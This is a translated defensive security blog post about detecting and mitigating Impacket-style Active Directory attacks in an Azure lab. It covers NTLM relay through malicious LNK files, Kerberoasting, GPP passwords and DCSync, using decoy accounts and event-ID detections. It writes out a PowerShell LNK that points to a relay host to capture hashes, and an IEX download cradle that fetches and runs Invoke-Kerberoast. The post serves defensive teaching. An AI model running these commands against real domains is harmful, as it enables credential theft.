Impacket防御基础与Azure实验室实践

本文详细介绍了如何使用Azure实验室搭建环境,通过Impacket工具进行防御基础实践,包括预防性欺骗、NTLM中继攻击防御、Kerberoasting检测等技术内容,帮助提升企业安全防护能力。

Impacket防御基础与Azure实验室实践

Jordan Drysdale //

概述

以下对Impacket部分工具和技术的描述是对作者SecureAuthCorp以及维护和扩展代码的开源努力的致敬。这是我之前文章“使用Azure实验室进行Impacket攻击基础”的后续,将从另一个角度尝试检测和防御这些技术。
https://github.com/SecureAuthCorp/impacket

实验室设置

ARM模板在此:doazlab.com 或 github.com/DefensiveOrigins/DO-LAB
认证到可以构建资源的Azure订阅。部署实验室。

域控制器和加入的工作站
Ubuntu

预防性欺骗

本节将提供一些基本命令,用于在Active Directory中创建几个受控对象。这些对象将帮助我们稍后检测一些常见攻击。
Deploy-Deception工具包值得称赞,虽然仓库已有几年历史,但材料仍然相关。一些最基本的检测,如攻击者对受控对象的对象属性读取(或Kerberoasting它们),可以减少我们的平均检测时间。
GitHub:https://github.com/samratashok/Deploy-Deception
博客:https://www.labofapenetrationtester.com/2018/10/deploy-deception.html

下面的Luis账户正在创建,以便稍后促进一些枚举类型和Kerberoasting检测。

1
New-ADUser -UserPrincipalName Luis.Graves@doazlab.com -Path "OU=DomainUsers,dc=doazlab,DC=com" -GivenName "Luis" -Surname "Graves" -Enabled 1 -Name "Luis.Graves" -desc "Accounting Controller" -office "Accounting" -title "Controller" -company "DevLabs" -AccountPassword (ConvertTo-SecureString "Password1!" -AsPlainText -Force) -Credential $Cred

账户应该已落地在域根下的DomainUsers OU中。

这个账户稍后会有用,我保证。

Ntlmrelayx.py

防御像ntlmrelayx这样广泛的工具包可能是一个挑战。你以为Impacket库很广泛?仅ntlmrelayx就有大约300种不同的攻击选项组合。

下面的防御场景试图缓解Mitre ATT&CK 1204:恶意链接。LNK攻击基本上依赖于一个监听中继,该中继被LNK快捷方式文件目标化。
https://attack.mitre.org/techniques/T1204/001/

所以,在我看来,在撰写本文时(2022年7月16日),MITRE ATT&CK框架下概述的缓解措施不足以保护域的文件共享免受LNK和URL攻击向量的影响。

在以下假设下,网络入侵预防措施不足。

对手试图提升权限,但已经在域用户的受损上下文中工作。

在文件上留下LNK或URL工件很可能不会被检测到,除非使用Microsoft的文件服务器资源管理器1或类似技术。

敌对LNK文件的使命不是下载,而是触发对敌对中继的静默认证。

无论如何,我未能将此缓解措施与实地现实联系起来。

缓解ID M1021,限制基于Web的内容,也遭受同样的现实,即一旦终端用户被攻破,他们的文件共享就成为软目标。作为渗透测试员,在登陆域加入系统后,我不寻找Web访问、Web服务或任何与TCP/80或TCP/443相关的内容。文件共享 == Web协议?!?奇怪。

最后,M1017训练用户的建议被误置。用户浏览文件共享时与LNK文件静默交互。查看下面命令中LNK的目标路径,我们可以看到它指向别处的IP地址。

1
2
PS C:\> $lnk = $objShell.CreateShortcut("c:\file6\malicious.lnk") 
PS C:\> $lnk.TargetPath = "\\10.0.0.8\@threat.png" 

因此,如果这里有训练目标,那就是所有IT操作关于这些文件的性质。重复 – 使用上述LNK文件浏览文件共享将触发静默Windows域凭据提交给攻击者(密码哈希)。如果DA浏览此共享,DA凭据将提交给攻击者的中继。终端用户浏览共享,他们的域凭据材料将发送给攻击者。这里没有什么可以教终端用户的…除非我遗漏了什么。

检测?
你可以使用Sysmon检测和警报文件创建事件。这真的就像创建对.URL和.LNK文件的匹配一样简单 – BOOM – 轻松获胜(哦,是的,这默认被传奇的Olaf的Sysmon-Modular捕获)。2 没有Sysmon?检查你的EDR及其功能。Windows事件ID 4656可能会淹没你的组织日志量,因此从建议的角度来看,很难高效启用“审计对象访问”。

防御?
Microsoft通过FSRM简化了这一点。这允许共享管理员限制允许的文件扩展名。就这么简单?是的。你应该试试;它有效。

你可以通过缩小文件共享的焦点来使这更容易。如果你的域缺乏一致的工作站防火墙策略,你可能有一些你不知道的文件共享。工作站防火墙将减少网络上开放共享的足迹,减少对手使用SMB RPC3促进额外攻击的开口,是另一个可以降低风险的更好安全实践。

还有一件事 – 了解你的出口暴露并经常检查。你应该减少出站端口暴露,以避免哈希被运送到网络外的对手。

下一个防御场景试图缓解Mitre ATT&CK T1557:中间人攻击。
https://attack.mitre.org/techniques/T1557/001/

从LNK攻击的角度来看,中间人对手停放在你的网络或域上的某个地方作为中继。当终端用户浏览LNK共享时,他们的凭据被发送给中间人对手(AiTM),后者将凭据转发给上下文中任何有意义的目標。

LLMNR和NBNS投毒是另一种动物,多年来已被详细描述4,令人震惊的是这些协议尚未被Microsoft修补(也许他们已经修补了)。无论如何,Windows计算机未能识别有效的名称到IP映射,并选择在整个子网上喷洒广播和多播流量…我们的AiTM听到、响应、接收凭据、获利$$$。

下一个防御技术旨在匹配Mitre ATT&CK技术T1136的旧版本:添加域账户。
https://attack.mitre.org/techniques/T1136/002/

缓解措施?
这些基本上在与通过恶意URL、LNK或LLMNR的NTLM中继对抗时没有实际意义。对手已经处于此攻击的后期利用阶段。

MFA?不太可能帮助对抗LDAP DCE RPC5攻击。网络分段?你计划允许终端用户和计算机对域进行认证吗?我想是的,因此你无法分段LDAP…奇怪的缓解措施。修补你的DC!/显然,但LDAPs和通道绑定是你真正想要的。最后,PAM。耶!是的,也这样做。防止你的域管理员与除域控制器之外的任何东西交互,并且仅在受控条件下。

检测?
如今命令和PowerShell转录都是必需的。如果你不知道基础设施终端上发生了什么,你将无法在渗透测试中生存。捕获net命令!捕获IEX、invoke、bypass、github和其他一系列可能在CLI日志事件中看到的危险术语。

应密切监控Windows事件ID 47206和4722。这些将描述账户创建事件。

防御?
检查Active Directory中的ms-ds-machine-account-quota属性。如果此值为默认值,则意味着任何域用户都可以向域添加最多10台计算机。此值应为零,并且活动应由适当委托的系统管理员控制。

GetADUsers.py

域枚举足够常见,敌对活动、IT操作、渗透测试,拥有一个诱饵账户来通知团队是值得部署、警报和监控的时间。最好知道有人运行了SharpHound、ADExplorer或GetADUsers.py,而不是存在于太多组织所处的盲状态。

因此,这种防御技术可以在MITRE ATT&CK中引用为T1087,账户发现:域账户。这是攻击技术矩阵中的基本枚举。
https://attack.mitre.org/techniques/T1087/002/

让我们运行前面提到的欺骗工具,并添加一个账户,我们将专门监控并在任何时候枚举用户属性时发出警报。

1
2
3
4
5
6
7
8
9
iwr -URI https://github.com/DefensiveOrigins/Deploy-Deception/archive/refs/heads/master.zip -outfile deception.zip 
expand-archive deception.zip  
rm deception.zip  
mv .\deception\Deploy-Deception-master\* .\deception\  
cd deception  
Set-ExecutionPolicy bypass -Force  
Import-Module .\Deploy-Deception.ps1 
Create-DecoyUser -UserFirstName DOLabs -UserLastName AnyRead -Password Password1! 
Deploy-UserDeception -UserFlag PasswordNeverExpires Verbose

这个检测和警报谜题的下一个部分要求我们从对象的AD属性中收集ObjectGUID。

1
Get-ADUser -Identity DOLabsAnyRead -Properties "ObjectGuid" 

一旦你有了GUID,构建你的检测逻辑,其中Windows事件ID是4662,并且GUID是我们从诱饵收集的。

运行BloodHound、ADExplorer、GetADUsers,任何驱动你引擎的枚举工具。在Sentinel中,我得到一个检测。

Get-GPPPassword.py

此攻击映射到MITRE ATT&CK,T1552下的一个子技术,不安全凭据:组策略首选项。
https://attack.mitre.org/techniques/T1552/006/

这里推荐的缓解措施与现实一致。

防御?检测?
如果通过CLI或PS执行此活动,你应该捕获它。如果你的转录日志中的任何术语与cpassword对齐,提交事件并开始调查。

GetUserSPNs.py

GetUserSPNs.py类设计用于从域收集Kerberos票证哈希。此攻击被分类为MITRE ATT&CK T1558的子技术,窃取或伪造Kerberos票证。
https://attack.mitre.org/techniques/T1558/003/

这个很棒!让我们向之前创建的Luis账户添加一个SPN,并使用该账户检测kerberoasting。

1
setspn -a ws05/luis.graves.doazlab.com:1433 doazlab.com\luis.graves 

烤它们!

1
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1');Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat john 

票证字节十六进制流为简洁而被截断。

我们确实捕获了此活动。这是一个IoC。这是一个轻松的胜利。创建并警报此类活动。

防御?
seriously强密码。我不是在说长的组织相关可刮取或字典类型密码。我说的是25个字符或更多,多个单词,或随机化和PAM管理的密码。

托管服务账户。独立MSA易于部署。组MSA(gMSA)更具挑战性,但设计用于像数据库服务器这样的集群系统。

Secretsdump.py

此攻击与MITRE ATT&CK T1003对齐,OS凭据转储。
https://attack.mitre.org/techniques/T1003/003/

缓解措施?这些缓解ID是很好的建议。阅读MITRE上的部分。

检测?
RemoteRegistry服务呢?大多数与LSA交互并尝试捕获SAM表的工具使用SMB远程过程调用来启动此服务。一旦服务启动,使用它执行额外操作。我几乎忘了包括这个检测,因此下面是旧截图。然而,你应该将Windows事件ID 4688与启动RemoteRegistry服务的调用视为值得调查。

第二个Secretsdump.py调用是NTDS.dit捕获。这具有相同的父技术T1003,OS凭据转储,但是不同的子技术。在这种情况下,MITRE子技术列为DCSync。
https://attack.mitre.org/techniques/T1003/006/

检测?
所有由非DC执行的DCsync操作都应像组织的知识产权依赖于此一样仔细审查。这应该在IT操作中引发旗帜。全员上甲板!

防御?
Secretsdump可以通过工作站和服务器防火墙限制。通常,到DA的中间跳跃有445开放,这允许SMB RPC访问LSASS。这种访问允许管理员妥协,并可能打开跨网络的额外路径。

感谢阅读。
-jd

参考文献

  1. https://docs.microsoft.com/en-us/windows-server/storage/fsrm/fsrm-overview
  2. https://github.com/olafhartong/sysmon-modular
  3. https://www.thehacker.recipes/ad/recon/ms-rpc
  4. https://www.blackhillsinfosec.com/how-to-disable-llmnr-why-you-want-to/
  5. https://ldapwiki.com/wiki/DCE-RPC
  6. https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4720
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计